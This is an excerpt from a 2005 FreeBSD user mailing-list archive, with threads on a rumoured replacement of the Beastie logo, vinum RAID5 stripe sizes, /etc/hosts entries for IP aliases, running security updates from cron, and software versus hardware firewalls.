=?ISO-8859-1?Q?Charles-Andr=E9_Landemaine?= To: freebsd-questions@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: =?ISO-8859-1?Q?Charles-Andr=E9_Landemaine?= List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:32:43 -0000 This will sign the death of FreeBSD. How could they believe such crap?! Who said beastie is evil?! This is totally non-sense, it's a logo, it's not the CD cover of a heavy-metal release...! I think the reasons are the same as NetBSD. Do extremist Republicans threaten BSD distros? The word "daemon" in greek means "server" (the person, not the hardware). This is neither good nor bad, if it has to be either one, then it's good. Oh please, wake me up, it's a nightmare!!! From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:38:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7DB5216A4CE for ; Wed, 9 Feb 2005 18:38:49 +0000 (GMT) Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5715B43D46 for ; Wed, 9 Feb 2005 18:38:49 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc12) with ESMTP id <2005020918384201400pqb08e>; Wed, 9 Feb 2005 18:38:49 +0000 Message-ID: <420A5858.6020602@hamletinc.com> Date: Wed, 09 Feb 2005 10:37:12 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Marc G. Fournier" References: <20050208231208.B94338@ganymede.hub.org> <20050208234602.M94338@ganymede.hub.org> <20050209001254.G94338@ganymede.hub.org> In-Reply-To: <20050209001254.G94338@ganymede.hub.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: Olivier Nicole cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:38:49 -0000 Marc G. Fournier wrote: > > Self-followup .. the server config is as follows ... did I do maybe > mis-configure the array? > > # Vinum configuration of neptune.hub.org, saved at Wed Feb 9 00:13:52 > 2005 > drive d0 device /dev/da1s1a > drive d1 device /dev/da2s1a > drive d2 device /dev/da3s1a > drive d3 device /dev/da4s1a > volume vm > plex name vm.p0 org raid5 1024s vol vm sd name vm.p0.s0 drive d0 plex > vm.p0 len 142314496s driveoffset 265s plexoffset 0s > sd name vm.p0.s1 drive d1 plex vm.p0 len 142314496s driveoffset 265s > plexoffset 1024s > sd name vm.p0.s2 drive d2 plex vm.p0 len 142314496s driveoffset 265s > plexoffset 2048s > sd name vm.p0.s3 drive d3 plex vm.p0 len 142314496s driveoffset 265s > plexoffset 3072s > > bassed on an initial config file that looks like: > > neptune# cat /root/raid5 > drive d0 device /dev/da1s1a > drive d1 device /dev/da2s1a > drive d2 device /dev/da3s1a > drive d3 device /dev/da4s1a > volume vm > plex org raid5 512k > sd length 0 drive d0 > sd length 0 drive d1 > sd length 0 drive d2 > sd length 0 drive d3 > It's worth pointing out that your performance on the raid-5 can change for the better if you avoid having the stripe size be a power of 2. This is especially true if the (n)umber of disks are a 2^n. Cheers, -.mag From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:50:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C565616A4CE for ; Wed, 9 Feb 2005 18:50:00 +0000 (GMT) Received: from ptb-relay02.plus.net (ptb-relay02.plus.net [212.159.14.213]) by mx1.FreeBSD.org (Postfix) with ESMTP id 845ED43D46 for ; Wed, 9 Feb 2005 18:50:00 +0000 (GMT) (envelope-from marko@freebsd.org) Received: from movens.plus.com ([80.229.231.20] helo=[127.0.0.1]) by ptb-relay02.plus.net with esmtp (Exim) id 1CywuV-000DcX-5o; Wed, 09 Feb 2005 18:49:59 +0000 Message-ID: <420A5AF3.6030903@freebsd.org> Date: Wed, 09 Feb 2005 18:48:19 +0000 From: Mark Ovens User-Agent: Mozilla Thunderbird 7.0 (Windows/20050209) MIME-Version: 1.0 To: =?ISO-8859-1?Q?Charles-Andr=E9_Landemaine?= References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Antivirus: avast! (VPS 0506-0, 08/02/2005), Outbound message X-Antivirus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:50:00 -0000 Charles-André Landemaine wrote: > This will sign the death of FreeBSD. > > How could they believe such crap?! Who said beastie is evil?! This is > totally non-sense, it's a logo, it's not the CD cover of a heavy-metal > release...! > > I think the reasons are the same as NetBSD. Do extremist Republicans > threaten BSD distros? > > The word "daemon" in greek means "server" (the person, not the > hardware). This is neither good nor bad, if it has to be either one, > then it's good. > > Oh please, wake me up, it's a nightmare!!! See the thread "The FreeBSD Project is announcing a public competition for the new logo design. ????" in -advocacy - I've already replied with my views on the subject, along the same lines as your comments. Mark --- avast! Antivirus: Outbound message clean. Virus Database (VPS): 0506-0, 08/02/2005 Tested on: 09/02/2005 18:48:20 avast! - copyright (c) 2000-2004 ALWIL Software. http://www.avast.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:53:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0F8A216A4CE for ; Wed, 9 Feb 2005 18:53:05 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id D359043D2D for ; Wed, 9 Feb 2005 18:53:04 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc11) with ESMTP id <2005020918525801300da5p0e>; Wed, 9 Feb 2005 18:53:04 +0000 Message-ID: <420A5BAF.4050305@hamletinc.com> Date: Wed, 09 Feb 2005 10:51:27 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Olivier Nicole References: <20050208231208.B94338@ganymede.hub.org> <20050208234602.M94338@ganymede.hub.org> <200502090352.j193qFEq098451@banyan.cs.ait.ac.th> In-Reply-To: <200502090352.j193qFEq098451@banyan.cs.ait.ac.th> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:53:05 -0000 Olivier Nicole wrote: >>All servers run RAID5 .. only one other is using vinum, the other 3 are >>using hardware RAID controllers ... >> >> > > >Come on, of course a software solution will be slower than an hardware >solution. What would you expect? :)) > >(Given it is same disk type/speed/controler...) > > > Usually this is the case, but it's also very dependent on the hardware raid controller. There are situations where a software raid (vinum in this case) can outperform some hardward controlers under specific circumstances, i.e. sequential reads w/very large stripe size. An example is an image server where the average image might be 3MB. A stripe size of 434kB would cause ~7 transfers of data. A case for a larger stripe size of 5MB would greatly improve performance. There would be an 2MB diff in the avg file size that doesn't have any useable data. Only 1 transfer of data would occur. Vinum optimizes the data transfered to the exact 3MB of the file, whereas some hardware controls would transfer the whole 5MB stripe, adding some bandwidth latency and transfer time. Again, it's a matter of specific cases, and assuming 'performance' based on differing conduits for data transfer can just skirt the real issue, if there is any. Cheers, -.mag From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:54:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8CAB616A4CE for ; Wed, 9 Feb 2005 18:54:40 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 421C743D53 for ; Wed, 9 Feb 2005 18:54:40 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id 82E7D6925B for ; Wed, 9 Feb 2005 13:54:39 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Wed, 9 Feb 2005 13:55:30 -0500 Date: Wed, 9 Feb 2005 13:55:30 -0500 From: Louis LeBlanc To: freebsd-questions@FreeBSD.org Message-ID: <20050209185530.GC18088@keyslapper.net> Mail-Followup-To: freebsd-questions@FreeBSD.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:54:40 -0000 On 02/09/05 04:32 PM, Charles-André Landemaine sat at the `puter and typed: > This will sign the death of FreeBSD. > > How could they believe such crap?! Who said beastie is evil?! This is > totally non-sense, it's a logo, it's not the CD cover of a heavy-metal > release...! > > I think the reasons are the same as NetBSD. Do extremist Republicans > threaten BSD distros? > > The word "daemon" in greek means "server" (the person, not the > hardware). This is neither good nor bad, if it has to be either one, > then it's good. Uh, not to be rude, but what the hell are you talking about? I don't remember anyone talking about changing the logo. Except the occasional fundy trying to throw the idea into the list every couple months using every tone from appeasement to outright fire and brimstone. I've never seen anyone take it seriously. Everyone here knows all the history of the word, many know the history of Beastie himself, and so far as I know, none have any plans to change him. > Oh please, wake me up, it's a nightmare!!! So Wake Up. -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Bagdikian's Observation: Trying to be a first-rate reporter on the average American newspaper is like trying to play Bach's "St. Matthew Passion" on a ukelele. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:56:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 32E3216A4CF for ; Wed, 9 Feb 2005 18:56:02 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 932E543D1F for ; Wed, 9 Feb 2005 18:56:01 +0000 (GMT) (envelope-from cmorland@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so1143800wri for ; Wed, 09 Feb 2005 10:56:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=kiwA/SlkuPfzu8LBG/dBtAq0qBP8RT1lN90Xt4URyHe0xpvZJyVRpFcvej08Ku0/MSxcbGVNCV+Fxx4mD61GNNMv1iLD84VYSFqPTqQV6Ya6jK/3Chcovwh9hY0AB9/HIGhsjoHWkPXqgdZBeV8YnaOzehFjYwB33mhbOMbH7Lg= Received: by 10.54.56.15 with SMTP id e15mr184917wra; Wed, 09 Feb 2005 10:56:00 -0800 (PST) Received: by 10.54.28.49 with HTTP; Wed, 9 Feb 2005 10:56:00 -0800 (PST) Message-ID: <8ca932905020910563139f7a4@mail.gmail.com> Date: Wed, 9 Feb 2005 13:56:00 -0500 From: Chad Morland To: Mark Ovens In-Reply-To: <420A5AF3.6030903@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <420A5AF3.6030903@freebsd.org> cc: =?ISO-8859-1?Q?Charles-Andr=E9_Landemaine?= cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chad Morland List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:56:02 -0000 On Wed, 09 Feb 2005 18:48:19 +0000, Mark Ovens wrote: > See the thread "The FreeBSD Project is announcing a public competition > for the new logo design. ????" in -advocacy - I've already replied with > my views on the subject, along the same lines as your comments. > I'm not subscribed to -advocacy can you provide me with an archive link to this thread in question? I wasn't able to find it based on the subject you provided. -CM From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:56:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3128716A4CE for ; Wed, 9 Feb 2005 18:56:46 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 4C36943D1D for ; Wed, 9 Feb 2005 18:56:45 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 18:56:43 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp018) with SMTP; 09 Feb 2005 19:56:43 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: =?iso-8859-1?q?Charles-Andr=E9=20Landemaine?= , freebsd-questions@FreeBSD.org Date: Wed, 9 Feb 2005 19:51:15 +0100 X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209185645.4C36943D1D@mx1.FreeBSD.org> Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:56:46 -0000 well, i am quite new to freebsd, one of the things that got me curious enough to give it a try was the current logo, i like the beastie, it just has the perfect all around look, so why change it? "never change a running system" Greetings Oliver Leitner Technical Staff http://www.shells.at On Wednesday 09 February 2005 19:32, Charles-André Landemaine wrote: > This will sign the death of FreeBSD. > > How could they believe such crap?! Who said beastie is evil?! This is > totally non-sense, it's a logo, it's not the CD cover of a heavy-metal > release...! > > I think the reasons are the same as NetBSD. Do extremist Republicans > threaten BSD distros? > > The word "daemon" in greek means "server" (the person, not the > hardware). This is neither good nor bad, if it has to be either one, > then it's good. > > Oh please, wake me up, it's a nightmare!!! > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:57:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 17D2116A4CE for ; Wed, 9 Feb 2005 18:57:32 +0000 (GMT) Received: from mail21.sea5.speakeasy.net (mail21.sea5.speakeasy.net [69.17.117.23]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8CABC43D53 for ; Wed, 9 Feb 2005 18:57:31 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 28685 invoked from network); 9 Feb 2005 18:57:31 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail21.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 9 Feb 2005 18:57:31 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id DBEF849; Wed, 9 Feb 2005 13:57:29 -0500 (EST) Sender: lowell@be-well.ilk.org To: Ken Hawkins References: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> From: Lowell Gilbert Date: 09 Feb 2005 13:57:29 -0500 In-Reply-To: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> Message-ID: <448y5x36jq.fsf@be-well.ilk.org> Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: single box handling multiple ips, how? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:57:32 -0000 Ken Hawkins writes: > Sorry if this is not quite the place to ask however, if it is not can > someone point me toward the right resource (on the net) for answers. I > am > running FreeBSD on a box with an ethernet; > ifconfig > em0: flags=8843 mtu 1500 > options=1b > inet ???.???.???.151 netmask 0xffff0000 broadcast 10.50.255.255 > inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1 > inet ???.???.???.152 netmask 0xffffffff broadcast 10.50.1.152 > inet ???.???.???.153 netmask 0xffffffff broadcast 10.50.1.153 > ether 00:30:48:2c:76:e2 > media: Ethernet 100baseTX > status: active > > the are just our ips. you will notice that .152 and .153 are > aliases > and are mapped to external ips via a switch. my question is how can I > resolve names to the ip aliases on the box? ie > > ???.???.???.152 -> a.net > > and > > ???.???.???.153 -> b.net > > is this a /etc/hosts kind of entry? > > ???.???.???.152 web1.a.net web1 > ???.???.???.152 web1.a.net. > ???.???.???.153 web1.b.net web1 > ???.???.???.153 web1.b.net. > > any help would be greatly appreciated! Yes, /etc/hosts will be the place to put those translations (for the full hostnames -- you don't want the "web1.a.net." entries) if you want that machine to know about them. If you explained the desired end result, we might be able to give you more help. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:59:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0DCE116A4CE for ; Wed, 9 Feb 2005 18:59:06 +0000 (GMT) Received: from smtp.thilelli.net (smtp.thilelli.net [213.41.129.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2761343D2D for ; Wed, 9 Feb 2005 18:59:05 +0000 (GMT) (envelope-from jpeg@thilelli.net) Received: from localhost (localhost [127.0.0.1]) by bento.thilelli.net (Postfix) with ESMTP id 0C0A07306E; Wed, 9 Feb 2005 19:58:57 +0100 (CET) Received: from bento.thilelli.net ([127.0.0.1]) by localhost (bento.thilelli.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 42336-03-8; Wed, 9 Feb 2005 19:58:54 +0100 (CET) Received: from webmail.thilelli.net (localhost [127.0.0.1]) by bento.thilelli.net (Postfix) with ESMTP id 6AD0B7306D; Wed, 9 Feb 2005 19:58:54 +0100 (CET) Received: from 192.168.1.18 (SquirrelMail authenticated user jgabel); by webmail.thilelli.net with HTTP; Wed, 9 Feb 2005 19:58:54 +0100 (CET) Message-ID: <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> In-Reply-To: <8ca932905020910563139f7a4@mail.gmail.com> References: <420A5AF3.6030903@freebsd.org> <8ca932905020910563139f7a4@mail.gmail.com> Date: Wed, 9 Feb 2005 19:58:54 +0100 (CET) From: "Julien Gabel" To: "Chad Morland" User-Agent: SquirrelMail/1.4.3a X-Mailer: SquirrelMail/1.4.3a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Virus-Scanned: amavisd-new at thilelli.net cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: jpeg@thilelli.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:59:06 -0000 >> See the thread "The FreeBSD Project is announcing a public competition >> for the new logo design. ????" in -advocacy - I've already replied with >> my views on the subject, along the same lines as your comments. > I'm not subscribed to -advocacy can you provide me with an archive > link to this thread in question? I wasn't able to find it based on the > subject you provided. You can follow this post at: http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ -- -jpeg. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:03:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 40FBD16A4CE for ; Wed, 9 Feb 2005 19:03:20 +0000 (GMT) Received: from mercury.uni-mart.com (mercury.uni-mart.com [216.169.165.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id EF91A43D53 for ; Wed, 9 Feb 2005 19:03:19 +0000 (GMT) (envelope-from jmaxwell@uni-mart.com) Received: from localhost (localhost.uni-mart.com [127.0.0.1]) by mercury.uni-mart.com (Postfix) with ESMTP id 601CB5E887A for ; Wed, 9 Feb 2005 14:12:38 -0500 (EST) Received: from mercury.uni-mart.com ([127.0.0.1]) by localhost (mercury.uni-mart.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 50652-02-27 for ; Wed, 9 Feb 2005 14:12:36 -0500 (EST) Received: from jeff.uni-mart.com (oqm.uni-mart.com [64.65.227.20]) by mercury.uni-mart.com (Postfix) with ESMTP id ED4DF5E8849 for ; Wed, 9 Feb 2005 14:12:35 -0500 (EST) Message-Id: <5.1.0.14.2.20050209135717.03331ec0@pop.uni-mart.com> X-Sender: jmaxwell@pop.uni-mart.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 09 Feb 2005 14:04:00 -0500 To: freebsd-questions@freebsd.org From: Jeff Maxwell In-Reply-To: <1401495771.20050209191618@wanadoo.fr> References: <317211689.20050209184124@hexren.net> <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> <420A1851.70402@daleco.biz> <1711078729.20050209183656@wanadoo.fr> <317211689.20050209184124@hexren.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Virus-Scanned: amavisd-new at uni-mart.com Subject: Re: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:03:20 -0000 I run "freebsd-update" as a cron job to check for security updates daily. At 07:16 PM 2/9/05 +0100, you wrote: >Hexren writes: > > > How does it sound ;) > > > > If a bug that affects security is found, an update to fix is > > produced. In my definition this counts as security update. > >Fine. So what's the connection to cron? > >-- >Anthony > > >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" Jeff Maxwell POS Department Manager Uni-Marts, LLC Voice 570-829-0888 Ext. 421 Fax 570-829-4390 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:04:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1DA2216A4CE for ; Wed, 9 Feb 2005 19:04:23 +0000 (GMT) Received: from mail.deathnet.id.au (203-173-47-7.dyn.iinet.net.au [203.173.47.7]) by mx1.FreeBSD.org (Postfix) with SMTP id BB5C943D1F for ; Wed, 9 Feb 2005 19:04:21 +0000 (GMT) (envelope-from admin-list@deathnet.id.au) Received: (qmail 19833 invoked from network); 9 Feb 2005 19:04:46 -0000 Received: from unknown (HELO ?192.168.1.66?) (192.168.1.66) by deathnet.id.au with SMTP; 9 Feb 2005 19:04:46 -0000 Message-ID: <420A5EB0.1030402@deathnet.id.au> Date: Thu, 10 Feb 2005 06:04:16 +1100 From: "admin-list@deathnet.id.au" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.org References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:04:23 -0000 Charles-André Landemaine wrote: > How could they believe such crap?! Who said beastie is evil?! This is > totally non-sense, it's a logo, it's not the CD cover of a heavy-metal > release...! Not all "Heavy-Metal" releases and/or bands are evil nor good, you know! You just expressed the same "crap" about "Heavy-Metal", as what other's are expressing about "beastie". -- Cheers, MetalMick E-mail: admin-list@deathnet.id.au Web Site: www.deathnet.id.au From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:06:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B67E16A4CE for ; Wed, 9 Feb 2005 19:06:16 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1EF7043D1F for ; Wed, 9 Feb 2005 19:06:16 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc11) with ESMTP id <2005020919061501300d48qke>; Wed, 9 Feb 2005 19:06:15 +0000 Message-ID: <420A5ECD.4090308@hamletinc.com> Date: Wed, 09 Feb 2005 11:04:45 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: darryl@osborne-ind.com References: <000801c50ec5$a2115c00$0701a8c0@darryl> In-Reply-To: <000801c50ec5$a2115c00$0701a8c0@darryl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Firewall throughput question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:06:16 -0000 Darryl Hoar wrote: >Greetings, >I have had a Freebsd firewall (Older computer with (1) 3com 10Mb >ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card). >The firewall croaked on me (motherboard died). As a quick fix, >I plugged in a Linksys BEFSX41. > >My Question is, should I build a new Freebsd firewall or just >continue using the Linksys ? Throughput and security are my >concern. I can have up to 20 machines on the LAN at one time >using the internet, so traffic throughput is a factor. > >Anyway, my inclination is to build a new freebsd firewall, but >don't want to do the work if the Linksys is good enough. > >Thanks for any ideas or suggestions. > How old are those 3com cards? I think the most important area to look at is guaging how much packet loss will occur under these high loads. And that in-of-itself might appear differently in one type of traffic and not others, i.e. vpn, ssh, encrypted traffic, ssl. Also, how well and quick a device can handle packet loss can be determined by newer equipment (new linksys router) handling packets that come over the wire verses and older 3com card with aging firmware. It's a toss up that's hard to make a definative suggestion... unless you can do what Hexren mentioned and pit them against each other. That would be the easiest way to appease your needs. -.mag From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:07:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1AC1416A4CE for ; Wed, 9 Feb 2005 19:07:32 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4D51143D1D for ; Wed, 9 Feb 2005 19:07:31 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1CyxBS-0001Lk-Bb; Wed, 09 Feb 2005 20:07:30 +0100 Date: 